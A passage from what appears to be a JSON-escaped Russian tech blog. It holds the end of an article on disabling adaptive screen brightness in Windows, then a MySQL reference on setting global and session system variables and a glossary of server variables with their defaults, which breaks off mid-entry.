href=\"/wp-content/uploads/2013/07/powersettings.png\"\u003e\u003cimg alt=\"powersettings\" loading=\"lazy\" src=\"/wp-content/uploads/2013/07/powersettings-279x300.png\"\u003e\u003c/a\u003e\u003cbr\u003e\nи установить значение \u0026ldquo;Выкл\u0026rdquo;\u003c/li\u003e\n\u003cli\u003eСохранить изменения нажатием \u0026ldquo;ОК\u0026rdquo; и выйти\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003eВ случае отсутствия пункта настройки адаптивной регулировки яркости необходимо активировать его в реестре. Для этого:\u003c/p\u003e","title":"Отключение авторегулировки яркости экрана в Windows"},{"content":"MySQL-сервер содержит большое количество системных переменных, с помощью которых можно производить его тонкую настройку. Глобальные переменные описываются в файле конфигурации my.cnf.\nПолучить полный список системных переменных в консольном клиенте mysql, можно с помощью команды\nmysql\u0026gt; SHOW VARIABLES\\g Часть системных переменных, можно переопределить динамически, то-есть во время работы MySQL сервера, с помощью команды SET.\nMySQL сервер поддерживает два типа переменных:\nГлобальные переменные - инициализируются при старте MySQL-сервера, получая значения по умолчанию; Сеансовые переменные - создаются для каждого соединения клиента с сервером и получают значения, установленные для глобальных переменных. Для установки нового значения глобальной переменной, используется такая форма команды SET:\nmysql\u0026gt; SET GLOBAL read_buffer_size=16384\\g Query OK, 0 rows affected (0.00 sec) либо можно использовать альтернативную форму команды SET:\nmysql\u0026gt; SET @@global.read_buffer_size=16384\\g Query OK, 0 rows affected (0.01 sec) Посмотреть значение переменной можно несколькими способами\nmysql\u0026gt; SHOW GLOBAL VARIABLES LIKE \u0026#39;read_buffer_size\u0026#39;\\g +------------------+-------+ | Variable_name | Value | +------------------+-------+ | read_buffer_size | 16384 | +------------------+-------+ 1 row in set (0.00 sec) или\nmysql\u0026gt; SELECT @@global.read_buffer_size\\g +---------------------------+ | @@global.read_buffer_size | +---------------------------+ | 16384 | +---------------------------+ 1 row in set (0.00 sec) Для установки сеансовых переменных, используется:\nmysql\u0026gt; SET SESSION read_buffer_size=16384\\g Query OK, 0 rows affected (0.00 sec) или одна из альтернатив:\nmysql\u0026gt; SET @@session.read_buffer_size=16384\\g mysql\u0026gt; SET LOCAL read_buffer_size=16384\\g mysql\u0026gt; SET read_buffer_size=8192\\g Обратите внимание, если не указано ни одно из ключевых слов GLOBAL, LOCAL или SESSION, переменная считается сессионной.\nПосмотреть значения сессионных переменных, можно так-же несколькими способами с использованием ключевых слов, упомянутых выше.\nСистемные переменные MySQL сервера auto_increment_increment auto_increment_offset back_log basedir bdb_cache_size bdb_cache_parts bdb_home bdb_log_buffer_size bdb_logdir bdb_max_lock bdb_region_size bdb_shared_data bdb_tmpdir binlog_cache_size binlog_format bulk insert buffer size character_sets character_set_client character_set_connection character_set_database character_set_filsystem character_set_results character_set_server character_set_system character_sets_dir collation_connection collation_database collation_server completion_type concurent_insert connect_timeout datadir default_week_format delay_key_write delayed_insert_limit delayed_insert_timeout delayed_queue_size div_precision_increment event_scheduler expire_logs_days flush flush_time ft_boolean_syntax ft_max_word_len ft_min_word_len ft_query_expansion_limit ft_stopword_file general_log general_log_file group_concat_max_len have_archive have_bdb have_blackhole_engine have_compress have_crypt have_cvs have_dynamic_loading рhave_example have_federated_engine have_geometry have_innodb have_ndbcluster have_partitionung have_openssl have_query_cache have_row_based_replication have_rtree_keys have_symlink init_connect init_file init_slave interactive_timeout join_buffer_size key_buffer_size key_cache_age_threshold key_cache_block_size key_cache_division_limit language large_file_support large_pages lc_time_names licanse local_infile locked_in_memory log log_bin log_bin_trust_function_creators log_error log_output log_queries_not_using_indexes log_slave_updates log_slow_queries log_warnings long_query_time low_priority_updates lower_case_file_systems lower_case_table_names max_allowed_packet max_binlog_cache_size max_binlog_size max_connect_errors max_connections max_delayed_threads max_error_count max_heap_table_size max_insert_delayed_threads max_join_size max_length_for_sort_data max_prepared_stmt_count max_relay_log_size max_seeks_for_key max_sort_length max_tmp_tables max_user_connections max_write_lock_count myisam_data_pointer_size myisam_max_sort_file_size myisam_recover_options myisam_sort_buffer_size myisam_stats_method myisam_use_mmap named_pipe net_buffer_length net_read_timeout net_retry_count net_write_timeout new old_passwords open_files_limit optimizer_prune_level optimizer_search_depth pid_file plugin_dir port preload_buffer_size prepared_stmt_count protocol_version query_alloc_block_size query_cache_limit query_cache_min_res_unit query_cache_size query_cache_type query_cache_wlock_invalidate query_prealloc_size range_alloc_block_size read_buffer_size read_only relay_log_purge read_rnd_buffer_size rpl_recovery_rank secure_auth server_id shared_memory shared_memory_base_name skip_external_locking skip_networking skip_show_database slave_compressed_protocol slave_load_tmpdir slave_net_timeout slave_skip_errors slow_launch_time slow_query_log slow_query_log_file socket sort_buffer_size sql_mode sql_slave_skip_counter ssl_ca ssl_capath ssl_cert ssl_cipher ssl_key storage_engine sync_binlog sync_frm system_time_zone table_cache table_definition_cache table_lock_wait_timeout table_open_cache table_type thread_cache_size thread_concurrency thread_stack time_format time_zone tmp_table_size tmpdir transaction_alloc_block_size transaction_prealloc_size tx_isolation updatable_views_with_limit version version_bdb version_comment version_compile_machine version_compile_os wait_timeout auto_increment_incrementУстанавливает приращение для механизма AUTO_INCREMENT. Возможные значения: 1 - 65 535. Значение по умолчанию: 1. При установке значения 0, получает значение 1, при попытке присвоить значение меньше нуля или больше 65 535, принимает значение 65 535. Если например, присвоить данной переменной значение 10, то значения счетчика автоинкремента, будет увеличиваться не на 1, а на 10.Введена с версии 5.0.2. Динамическая auto_increment_offsetУстанавливает начальное значение счетчика для механизма AUTO_INCREMENT. Возможные значения: 1 - 65 535. Значение по умолчанию: 1. При установке значения 0, получает значение 1, при попытке присвоить значение меньше нуля или больше 65 535, принимает значение 65 535. Если присвоить этой переменной значение 7, счетчик автоинкремента, начнет увеличиваться не с 1, а с 7.Введена с версии 5.0.2. Динамическая back_logРазмер очереди запросов на подключение клиентов. При получении входящего запроса на соединение, основной поток MySQL сервера, после проверки запроса, запускает новый поток. Если запросов на соединение пришло слишком много за короткий промежуток времени, на их обслуживание потребуется некоторое время. Данная переменная устанавливает количество запросов, которые могут быть помещены в стек, на время, пока не освободится основной поток для их обслуживания. Все соединения выше данного значения - отбрасываются, клиенту выдается соответствующее сообщение. По сути, данная переменная устанавливает длину очереди, входящих TCP соединений, и не может превышать значение, установленной операционной системой.Статическая basedirСодержит путь к базовому каталогу установки. Может быть установлена с помощью параметра командной строки: --basedirСтатическая bdb_cache_sizeЗадает размер буфера для индексов кэширования и строк таблиц BDB. Если данный тип таблиц, использовать не планируется, можно установить значение 0 или использовать параметр командной строки --skip-bdbСтатическая bdb_cache_partsКоличество разделов в BDB-кэше.Появилась с версии NySQL 5.1.2. bdb_homeУстанавливает путь к каталогу таблиц BDB. По умолчанию, имеет значение переменной datadir, определяющей путь к каталогу данных.Статическая bdb_log_buffer_sizeЗадает размер буфера для индексов кэширования и строк таблиц BDB. Если данный тип таблиц, использовать не планируется, можно установить значение 0 или использовать параметр командной строки --skip-bdbСтатическая bdb_logdirЗадает путь к каталогу, содержащему журнальные файлы BDB-таблиц. Так-же можно установить с помощью параметра --bdb-logdirСтатическая bdb_max_lockЗадает количество активных блокировок в BDB-таблице. Значение этой переменной нужно увеличивать в случае возникновения ошибок при длинных транзакциях или если серверу MySQL приходится проверять большое количество строк в таблице.Статическая bdb_region_sizeОбъем памяти BDB-окружения, определяющий размер пула, используемого для хранения имен файлов при транзакциях.Появилась в версии 5.1.2 bdb_shared_dataПеременная принимает значение ON, при запуске MySQL сервера с параметром --bdb-shared-data для обработки BDB таблиц в многопроцессорном режиме.Статическая bdb_tmpdirПуть к папке временных файлов BDB. Может быть установлена при запуске MySQL сервера, параметром --bdb-tmpdir.binlog_cache_sizeРазмер кэша, используемого для хранения SQL-операторов бинарного журнала регистраций во время транзакций. Данный кэш выделяется для каждого клиента, если сервер использует любую из транзакционных таблиц ( BDB, InnoBD ) и на сервере включена поддержка бинарного журнала регистраций ( параметр запуска --log-bin ). При частом использовании объемных транзакций со множеством операторов, значение данной переменной рекомендуется увеличить.binlog_formatДанная переменная определяет тип репликации и имеет три возможных параметра: STATEMENT - репликация, основанная на анализе выполняемых запросов ROW - репликация, основанная на изменении записей таблиц. ( начиная с версии 5.1.5 ) MIXED - смешанный тип, по умолчанию используется STATEMENT-репликация с переключениями в ROW-режим. ( начиная с версии 5.1.8 ) Значение можно установить при запуске сервера, параметром --binlog-format. bulk insert buffer sizeТаблицы MyISAM, используют древовидный кэш, для ускорения групповых операций вставки данных, для многострочного оператора INSERT, операторов INSERT ........ SELECT и LOAD DATA INFILE. Данная переменная ограничивает размер кэша на поток. При установке в 0, данная оптимизация будет отключена. Значение по-умолчанию, 8 мегабайт.character_setsЗадает поддерживаемые кодировки.Удалена, начиная с версии 4.1.1, вместо нее введены различные переменные character_set_xxx character_set_clientПеременная задает кодировку для операторов, приходящих от клиента.Введена начиная с MySQL 4.1.1. character_set_connectionЗадает кодировку для соединения клиента с сервером MySQL. В кодировку, заданную этой переменной перекодируются полученные от клиента операторы.Введена начиная с MySQL 4.1.1. character_set_databaseЗадает кодировку, используемую базой данных по-умолчанию. Данная переменная устанавливается при каждом изменении текущей базы данных. Если ни одна база данных не выбрана, переменная имеет значение, которое получает база данных, если при ее создании, кодировка не указана явно.Введена начиная с MySQL 4.1.1. character_set_filsystemЗадает кодировку, использующуюся для имен файлов в файловой системе. Введена начиная с MySQL 5.1.6.character_set_resultsКодировка использующаяся для возвращаемых клиенту, результатов. Введена начиная с MySQL 4.1.1.character_set_serverКодировка MySQL сервера по-умолчанию. Введена начиная с MySQL 4.1.1.character_set_systemКодировка, используемая сервером для хранения идентификаторов. Всегда имеет значение UTF8. Введена начиная с MySQL 4.1.1.character_sets_dirЗадает путь к каталогу с кодировками. Введена начиная с MySQL 4.1.2.collation_connectionКаждая кодировка может применяться для представления нескольких языков, но для каждого языка должен использоваться уникальный порядок сортировки. Данная переменная задает сортировку для кодировки, установленной в переменной character_set_connection. Введена начиная с MySQL 4.1.1.collation_databaseСортировка для кодировки, установленной переменной character_set_database. Введена начиная с MySQL 4.1.1.collation_serverСортировка для кодировки, установленной переменной character_set_server. Введена начиная с MySQL 4.1.1.completion_typeПеременная определяет режим завершения транзакции. 0 - операторы COMMIT и ROLLBACK не подвергаются изменению. 1 - вышеупомянутые операторы эквивалентны COMMIT AND CHAIN и ROLLBACK AND CHAIN. 2 - вышеупомянутые операторы эквивалентны COMMIT RELEASE и ROLLBACK RELEASE. Введена начиная с MySQL 5.0.3. concurent_insertОдновременное использование операторов INSERT и SELECT, для таблиц, не содержащих свободных блоков. 0 - отключено. Так-же можно использовать параметр --safe или --skip-new, при запуске MySQL сервера. 1 - включено. 2 - если таблицу одновременно использует второй поток, вставка новых записей будет производиться в конец таблицы, если с таблицей работает только один поток, записи будут добавлены в свободные блоки. Значение 2 было добавлено в MySQL версии 5.0.6. connect_timeoutТаймаут для подключения к серверу в секундах. По истечении данного интервала, будет выдано сообщение Bad handshake ( \"рукопожатие\" - в сетевой терминологии, способ согласования и установки соединения ).datadirУказывает на каталог данных. Может быть установлена при запуске MySQL сервера, параметром --datadir.default_week_formatРежим по-умолчанию для функции WEEK().delay_key_writeДанная переменная влияет на способ обработки ключевого слова DELAY_KEY_WRITE, оператора CREATE TABLES. Касается только таблиц MyISAM. Если при создании таблицы использовалось ключевое слово DELAY_KEY_WRITE, очистка буфера ключей производится не при каждом обновлении индекса, а только при закрытии таблицы, что позволяет увеличить скорость выполнения запросов. OFF - ключевое слово DELAY_KEY_WRITE игнорируется ON - DELAY_KEY_WRITE не игнорируется, значение по-умолчанию ALL - все новые таблицы рассматриваются как созданные с использованием DELAY_KEY_WRITE. delayed_insert_limitПосле вставки, указанного в данной переменной, количества отложенных строк, обработчик INSERT DELAYED проверяет, нет-ли незавершенных операторов SELECT, если таковые имеются, MySQL сервер выполняет их, после чего продолжает вставку отложенных строк. Значение по-умолчанию 100.delayed_insert_timeoutДанная переменная устанавливает время ожидания обработчика INSERT DELAYED, оператора INSERT, перед завершением своей работы.delayed_queue_sizeДлина очереди обработчика INSERT DELAYED. В случае переполнения очереди, клиенты, выполнившие запрос INSERT DELAYED, будут ожидать освобождения в очереди свободного места.div_precision_incrementЗадает количество знаков после запятой в результате деления. Значение может быть от 0 до 30. Появилась начиная с версии 5.0.6.event_schedulerВключение/отключение планировщика заданий. По-умолчанию отключен. Переменная добавлена, начиная с версии MySQL 5.1.6.expire_logs_daysПеременная задает срок хранения, в днях, бинарных логов. Если установлено значение 0, бинарные логи не удаляются. Переменная введена с версии MySQL 4.1.0.flushДанная переменная принимает значение ON, если MySQL сервер был запущен с параметром --flush. Включение данной переменной указывает MySQL серверу, сбрасывать изменения на диск после каждого SQL-оператора. Уменьшает вероятность разрушения таблиц при сбое, обратная сторона медали - серьезное снижение производительности. Как правило используется при нестабильной работе MySQL сервера.flush_timeЕсли значение не равно нулю, таблицы закрываются каждые flush_time секунд, что-бы синхронизировать данные на диск. Использовать данную переменную рекомендуется только на системах Windows 98/ME а так-же на системах с минимальным количеством системных ресурсовft_boolean_syntaxПеременная содержит список поддерживаемых операций при полнотекстовом поиске в логическом режиме (IN BOOLEAN MODE). Значение по-умолчанию, + -\u0026gt;\u0026lt;()~*:\"\"\u0026amp;|. Для изменения значения, применяются следующие правила: функция операции определяется позицией в строке значения замены должны состоять из 14 символов каждый символ должен быть ASCII-символом, отличным от алфавитно-цифрового первый или второй символ - обязательно пробел дубликаты запрещены, кроме ковычек в 11 и 12 позициях. Данные символы не обязательно должны быть одинаковыми, но таковыми могут быть только они позиции 10, 13 и 14 ( по-умолчанию :,\u0026amp; и |), резервируются для будущих расширений. ft_max_word_lenМаксимальная длина слова для включения в индекс FULLTEXT. Значение по-умолчанию - 84. При изменении значения данной переменной все FULLTEXT индексы должны быть перекомпонованы.ft_min_word_lenМинимальная длина слова для включения в индекс FULLTEXT. Значение по-умолчанию - 4. При изменении значения данной переменной все FULLTEXT индексы должны быть перекомпонованы.ft_query_expansion_limitМаксимально значение точных совпадений при полнотекстовом поиске с использование WITH QUERY EXPANSION. Введена с версии MySQL 4.1.1.ft_stopword_fileСодержит путь к файлу стоп-слов ( наречия, союзы, предлоги и т.д ) для полнотекстового поиска. Установка пустого значения для данной переменной, приведет к отключению фильтрации стоп-слов. После изменения значения данной переменной все FULLTEXT индексы должны быть перестроены.general_logДанная переменная отображает, включен или выключен лог запросов, зависит от того, был MySQL сервер запущен с параметром --log или без него. Появилась с версии 5.1.12.general_log_fileПуть в лог-файлу запросов. Может быть изменена при запуске MySQL сервера, с помощью параметра --log. Введена с версии MySQL 5.1.12.group_concat_max_lenМаксимальный размер для функции GROUP_CONCT(). Введена с версии 4.1.0.have_archiveПоддержка текущей версией MYSQL сервера, таблиц типа ARCHIVE: YES - поддерживает NO - не поддерживает Введена с версии 4.1.3 have_bdbПоддержка текущей версией MYSQL сервера, таблиц типа BDB: YES - поддерживает NO - не поддерживает DISABLED - если поддержка BDB отключена при старте MySQL сервера, параметром --skip-bdb have_blackhole_engineПоддержка текущей версией MYSQL сервера, таблиц типа BLACKHOLE: YES - поддерживает NO - не поддерживает Введена с версии 4.1.11 have_compressЗначение данной переменной зависит от того, был-ли MySQL сервер скомпилирован с поддержкой библиотеки zlib. YES - с поддержкой NO - без поддержки Во втором случае функции COMPRESS() и DECOMPRESS() будут не доступны. Появилась с версии MySQL 4.1.1. have_cryptПринимает значение в зависимости от того, поддерживает-ли операционка системный вызов crypt(). YES - поддерживает NO - не поддерживает Во втором случае, будут не доступны функции ENCRYPT(). have_cvsПоддержка текущей версией MYSQL сервера, таблиц типа CVS: YES - поддерживает NO - не поддерживает Появилась с версии MySQL 4.1.4. have_dynamic_loadingПоддерживает-ли текущая версия MySQL сервера динамическую загрузку плагинов. YES - поддерживает NO - не поддерживает Появилась с версии MySQL 5.1.10. рhave_exampleПоддержка текущей версией MYSQL сервера, таблиц типа EXAMPLE: YES - поддерживает NO - не поддерживает Появилась с версии MySQL 4.1.4. have_federated_engineПоддержка текущей версией MYSQL сервера, таблиц типа FEDERATED: YES - поддерживает NO - не поддерживает Появилась с версии MySQL 5.0.3. have_geometryПоддерживает-ли MySQL сервер пространственные расширения. YES - поддерживает NO - не поддерживает Появилась с версии MySQL 4.1.3. have_innodbПоддержка текущей версией MYSQL сервера, таблиц типа InnoDB: YES - поддерживает NO - не поддерживает DISABLED - если поддержка таблиц InnoDB была отключена при старте MySQL сервера, параметром --skip-innodb. have_ndbclusterПоддержка текущей версией MYSQL сервера, таблиц типа NDB Cluster: YES - поддерживает NO - не поддерживает DISABLED - если поддержка NDB Cluster была отключена при старте MySQL сервера, параметром --skip-ndbcluster. have_partitionungПоддерживает-ли MySQL сервер сегментирование. YES - поддерживает NO - не поддерживает Появилась с версии MySQL 5.1.6. have_opensslПоддержка MySQL сервером протокола SSL. YES - поддерживает NO - не поддерживает have_query_cacheПоддерживается-ли кэш запросов. YES - поддерживает NO - не поддерживает have_row_based_replicationУмеет-ли MySQL сервер выполнять репликацию с помощью построчного бинарного журнала. YES - умеет NO - не умеет Введена с версии MySQL 5.1.5. have_rtree_keysПоддерживает-ли MySQL сервер RTREE-индексы YES - поддерживает NO - не поддерживает Введена с версии MySQL 4.1.3. have_symlinkПоддержка MySQL сервером символических ссылок. YES - поддерживает NO - не поддерживает init_connectДанная переменная задает один или несколько SQL-операторов, выполняющихся при подключении каждого клиента. Например так можно выставить кодировку по-умолчанию: mysql\u0026gt; SET GLOBAL init_connect='SET NAMES cp1251' При указании более одного оператора, в качестве разделителя используется точка с запятой, \";\". Так-же значение данной переменной можно установить через командную строку или через конфигурационный файл my.cnf. Введена с версии 4.1.2. init_fileПеременная устанавливает путь к файлу, содержащему список SQL-операторов, которые NySQL сервер должен выполнить при старте. Каждый оператор должен быть на отдельной строке и не содержать комментариев. Кроме того файл инициализации может быть задан при старте MySQL сервера, параметром --init-file.init_slaveВ данной переменной может быть установлена строка, выполняемая подчиненным сервером репликации при каждом старте SQL-потока. Введена с версии 4.1.2.interactive_timeoutИнтервал времени в секундах, в течение которых сервер ожидает активности на интерактивном соединении, до его закрытия.join_buffer_sizeРазмер буфера использующегося при операциях объединения таблиц ( если не используются индексы ). Буфер устанавливается один раз во время каждой операции объединения.key_buffer_sizeИндексные блоки таблиц MyISAM буферизуются. Все потоки используют общий буфер. Данная переменная устанавливает размер буфера для индексных блоков. Значение данной переменной нужно увеличивать, для повышения эффективности обработки индексов, как при операциях чтения, так и записи. В качестве рекомендуемого значения, обычно указывают 25% от общего объема оперативной памяти, но важно не переборщить, что-бы система не начала сбрасывать данные в SWAP( страничный файл ), что заметно снижает производительность.key_cache_age_thresholdПеременная управляет понижением статуса буферов кэша ключей с hot hot-chain, до warm sub-chain.Чем меньше значение данной переменной, тем быстрей происходит данное понижение. Минимальное значение - 100. Значение по-молчанию - 300.Введена с версии 4.1.1. key_cache_block_sizeРазмер блока кэша ключей ( в байтах ). Значение по-умолчанию - 1024.Введена с версии 4.1.1. key_cache_division_limitДанная переменная определяет разделительную точку между горячей ( hot sub-chain ) и теплой ( warm sub-chain ) подцепочками буферной цепочки кэша ключей. В переменной содержится процент буферной цепочки, который используется для теплой подцепочки ( warm sub-chain ). Возможные значения - диапазон от 0 - 100. Значение по-умолчанию - 100Появилась с версии MySQL 4.1.1. languageПеременная определяет путь к каталогу языковой поддержки. Выбранный язык используется для вывода сообщений об ошибках.large_file_supportОпределяет, был-ли MySQL сервер скомпилирован с поддержкой больших файлов.large_pagesОпределяет, включена-ли поддержка больших страниц памяти ( более 4 Кбайт ).Введена с версии MySQL 5.0.3. lc_time_namesДанная переменная устанавливает локаль MySQL сервера, что дает возможность выводить функциями DATE_FORMAT(), DAYNAME() и MONTHNAME(), названия дней и месяцев на национальном языке.licanseТип лицензии текущего MySQL сервера.local_infileПоддерживается-ли ключевое слово LOCAL для оператора LOAD DATA INFILE. ON - поддерживает OFF - не поддерживает locked_in_memoryПеременная сообщает, заблокирован-ли MySQL сервер с помощью параметра --memlock или нет.logРегистрация всех запросов в общем журнале запросов. ON - включено OFF - выключено log_binРегистрация всех запросов в бинарном журнале. ON - включено OFF - выключено log_bin_trust_function_creatorsДанная переменная применяется когда включена регистрация запросов в журнальных файлах, она позволяет предотвратить попадание туда, небезопасных хранимых процедур.log_errorПеременная устанавливает путь к лог файлу ошибок.log_outputПеременная задает формат хранения общего лога запросов и лога медленных запросов. Может принимать одно из трех значений: TABLE - записи журналов хранятся в таблице FILE - записи журналов хранятся в файлах NONE - отключить журналирование Введена с версии MySQL 5.1.6. log_queries_not_using_indexesВключать-ли в лог медленных запросов, запросы не использующие индексы. ON - включено OFF - выключено Введена с версии MySQL 5.1.11. log_slave_updatesПеременная определяет, должны-ли обновления, получаемые подчиненным сервером в процессе репликации, регистрироваться в собственном бинарном журнале подчиненного сервера. Данная переменная работает, только если на подчиненном сервере активизировано ведение бинарного лога.log_slow_queriesРегистрировать-ли медленные запросы в соответствующем лог файле. Медленным считается запрос, выполняющийся дольше значения, установленного в переменной long_query_time.log_warningsДанная переменная определяет, выводить-ли дополнительные предупреждения во время старта и работы MySQL сервера. Значение по-молчанию - 1. При значении больше единицы, ошибки в лог файл не заносятся.long_query_timeПороговое значение времени в секундах, по истечении которого запрос считается медленным. Если включено логгирование медленных запросов log_slow_queries, запрос попадает в соответствующий лог файл. Кроме того, счетчик slow_queries увеличивается на единицу. Стоит обратить внимание, что подсчитывается не процессорное, а реальное время. То есть запрос, который укладывается в отведенное время на слабо нагруженной системе, на системе под высокой нагрузкой, может выполнятся дольше отведенного времени.low_priority_updatesЕсли данная переменная включена ( установлено значение 1 ), все операторы INSERT, UPDATE, DELETE и LOCK TABLE WRITE, будут ожидать пока на текущей таблице не останется невыполненных операций SELECT или LOCK TABLE READ.lower_case_file_systemsДаная переменная определяет, имеет-ли значение регистр имен файлов и каталогов.lower_case_table_namesПеременная определяет обработку регистра символов в именах таблиц. 0 - сравнение имен таблиц осуществляется с учетом регистра 1 - имена таблиц сохраняются на диск в нижнем регистре, сравнение имен таблиц не чувствительно к регистру 2 - имена таблиц сохраняются во введенном пользователем регистре, но сравнение все равно производится в нижнем регистре Не устанавливайте значение 0 для данной переменной на системах, не поддерживающих имена файлов чувствительных к регистру ( Windows, MacOS X ). max_allowed_packetМаксимальный объем одного SQL-запроса к серверу. Изначально буфер сообщений имеет размер net_buffer_length и при необходимости, автоматически увеличивается до значения данной переменной.max_binlog_cache_sizeРазмер кэша для транзакций с большим количеством операторов. В случае нехватки, будет выдано соответствующее сообщение об ошибке ( \"Multi-statement transaction required more than 'max_binlog_cache_size' bytes of storage\" ).max_binlog_sizeДанная переменная задает максимальный размер бинарного лог файла. При достижении размером файла, данного значения, будет открыт новый файл лога.max_connect_errorsЗадает максимально количество неудачных попыток подключения с хоста. Значение по-умолчанию 10. При достижении данного значения, хост блокируется. Разблокировать хост можно с помощью: mysql\u0026gt; FLUSH HOSTS\\g max_connectionsМаксимально количество соединений клиентов с сервером.max_delayed_threadsОграничение числа потоков для обработки INSERT DELAYEDmax_error_countДанная переменная устанавливает максимальное количество сообщений об ошибках и предупреждениях, для вывода операторами SHOW ERRORS и SHOW WARNINGS.Введена с версии MySQL 4.1.0. max_heap_table_sizeДанная переменная устанавливает максимальный размер таблиц типа MEMORY ( HEAP ). Изменение значения этой переменной никак не отражается на уже существующих в памяти таблицах и влияет только на те, которые будут созданы заново.max_insert_delayed_threadsСиноним для переменной max_delayed_threadsmax_join_sizeMySQL сервер блокирует операторы SELECT, которым может потребоваться проверить, количество комбинаций строк или провести поисков на диске, больше, чем указано в данной переменной. Данная переменная предотвращает использование операторов SELECT, в которых ключи используются некорректно или выполнение которых может занять слишком много времени. Ее удобно использовать, при необходимости избежать длительных операций объединения таблиц не использующих конструкцию WHERE или запросы возвращающие результат в миллионы строк.max_length_for_sort_dataПеременная задает в байтах размер данных, который используется при оптимизации запросов ORDER BY с помощью неиндексированных столбцов.max_prepared_stmt_countОпределяет максимальное количество разрешенных динамических запросов. Значение по-умолчанию - 16 382, возможные значения - от 0 до 1 000 000.Введена с версии MySQL 5.1.10. max_relay_log_sizeРазмер журнала ретрансляции на подчиненном сервере репликации. При достижении файлом размера, заданного этой переменной, будет создан новый файл журнала. Возможные значения - от 4096 байт до 1 гигабайта.max_seeks_for_keyМаксимально допустимое количество операций при поиске строк по ключам.max_sort_lengthПеременная задает количество байт при операциях сортировки значений BLOB или TEXT. Использованы только первые max_sort_length, остальные игнорируются.max_tmp_tablesДанная переменная определяет максимальное количество одновременно открытых временных таблиц для каждого клиента.В настоящий момент не используется и не учитывается. max_user_connectionsМаксимальное число одновременных подключений для одной учетной записи MySQL. Значение по-умолчанию 0, отсутствие каких-либо ограничений.max_write_lock_countКоличество блокировок на запись, после которых можно выполнить некоторое количество незаконченных блокировок на чтениеmyisam_data_pointer_sizeРазмер указателя по-умолчанию ( в байтах ), используемый оператором CREATE TABLE для таблиц MyISAM, когда не задан ни один параметр MAX_ROWS. Возможные значения - от 2 до 8. Значение по-умолчанию - 4.Удалена в версии 5.0.6. myisam_max_sort_file_sizeРазмер временного файла, использующегося при восстановлении индексов MyISAM, при использовании операторов REPAIR TABLE, ALTER TABLE или LOAD DATA INFILE. Если размер необходимого файла больше значения данной переменной, для создания индекса будет использоваться кэш ключей, что намного медленней.Значение этой переменной задается в мегабайтах. myisam_recover_optionsДанная переменная получает значение параметра --myisam-recover.myisam_sort_buffer_sizeРазмер буфера выделяемого для сортировки MyISAM индексов с помощью оператора REPAIR TABLE или при создании индексов операторами CREATE TABLE, ALTER TABLE.myisam_stats_methodДанная переменная определяет, как рассматривать значение NULL при построении индекса: nulls_equal - NULL-значения воспринимаются как эквивалентные записи nulls_unequal - NULL-значения интерпретируются как уникальные Переменная появилась с версии MySQL 5.0.14. В предыдущих версиях, сервер ведет себя как если-бы значение этой переменной было установлено в nulls_equal. myisam_use_mmapИспользование метода \"отображение в память\", при чтении/записи MyISAM таблиц. ON - включено OFF - выключено Появилась в версии MySQL 5.1.4. named_pipeПоддерживает-ли MySQL сервер соединения через именованные каналы. ON - поддерживает OFF - не поддерживает Переменная актуальна только при работе в операционной системе Windows. net_buffer_lengthРазмер буфера для соединений, устанавливаемый сервером в промежутках между запросами. Если операторы передаваемые MySQL серверу не помещаются в буфер, его размер автоматически увеличивается до размера max_allowed_packet.net_read_timeoutТаймаут ожидания, получения данных от клиента. Используется только при TCP соединениях и не используется при подключениях через UNIX-сокет или именованный канал.net_retry_countКоличество попыток восстановить соединение в случае прерывания передачи данных, прежде чем задача будет завершена.net_write_timeoutТаймаут ожидания, пока данные будут записаны в соединение, по истечении данного времени, операция записи будет отменена.newПоддержка возможностей сервера MySQL версии 4.1 на версии сервера 4.0. ON - включена OFF - выключена На MySQL сервере версии выше 4.1, всегда принимает значение OFF. old_passwordsВключить поддержку старого формата паролей, использовавшегося до версии 4.1. ON - включена OFF - выключена Введена с версии 4.1.1. open_files_limitСколько файлов, операционная система, разрешает открыть MySQL серверу. Данная переменная выводит значение, установленное в системной переменной sysctl kern.maxfilesperproc( FreeBSD ).optimizer_prune_levelИспользование эвристического механизма при оптимизации запросов. 0 - эвристика отключена, используется всесторонний анализ OFF - использовать эвристический механизм Введена с версии 5.0.1. optimizer_search_depthМаксимальная глубина поиска для оптимизатора запросов. Если значение данной переменной больше чем количество связей таблиц в многотабличном запросе, лучше генерируется схема оптимизации, однако, ее создание может занять значительное время. Значение, меньшее, чем количество связей в многотабличном запросе, приведет к более быстрому созданию схемы оптимизации, однако выполнение запроса по такой схеме, может быть далеко не оптимальным. Установка значения в 0 позволяет системе самой выбирать наиболее оптимальное в данный момент значение.Введена с версии 5.0.1. pid_fileПуть к файлу, содержащему PID процесса. Так-же может быть установлена из командной строки, параметром --pid-file.plugin_dirПуть к каталогу плагинов.Ввведена с версии MySQL 5.1.2. portПорт, прослушиваемый MySQL сервером. Значение по-умолчанию 3306.preload_buffer_sizeРазмер буфера, зарезервированного для загрузки индексов.Введена с версии 4.1.1. prepared_stmt_countСчетчик текущего количества динамических запросов. Максимальное значение устанавливается переменной max_prepared_stmt_count.Введена с версии MySQL 5.1.10. protocol_versionДанная переменная содержит версию протокола, используемого MySQL сервером.query_alloc_block_sizeРазмер блоков памяти, выделяемых для объектов, создаваемых при анализе и выполнении запросов. Данная переменная может облегчить жизнь при наличии проблем с фрагментацией памяти.query_cache_limitЗапросы, результат которых превышает значение данной переменной, не будут размещаться в кэше запросов.query_cache_min_res_unitМинимальный размер блоков, выделяемых кэшем запросов. Значение по-умолчанию - 4 Кбайта.Введена с версии MySQL 4.1.0. query_cache_sizeОбъем памяти, выделенной для кэширования результатов запросов.По-умолчанию данный кэш отключен, значение - 0. query_cache_typeУправление кэшированием запросов. OFF или 0 - MySQL сервер кэширует запросы и не извлекает результаты из кэша. Однако, это не освобождает буфер кэша запросов, для этого следует установить переменную query_cache_size в значение 0. ON или 1 - MySQL-сервер будет кэшировать все запросы, кроме начинающихся с конструкции SELECT SQL_NO_CACHE DEMAND или 2 - MySQL-сервер будет кэшировать только запросы, начинающихся с конструкции SELECT SQL_CACHE query_cache_wlock_invalidateУправление блокировками таблиц MyISAM. ON - при блокировке WRITE, будут игнорироваться любые запросы в том числе и на чтение, то есть, пока таблица заблокирована, все клиенты будут ждать. OFF - при запросе клиентом, блокировки WRITE, остальные клиенты не блокируются на чтение, если результат запроса присутствуют в кэше. query_prealloc_sizeРазмер постоянного буфера, использующегося для синтаксического анализа и выполнения запросов. Рекомендуется увеличить значение данной переменной при работе со сложными запросами, тогда отпадает необходимость распределять память во время выполнения запроса.range_alloc_block_sizeРазмер блоков, выделяемых при оптимизации области памяти.read_buffer_sizeРазмер буфера, выделяемого потоком для каждой 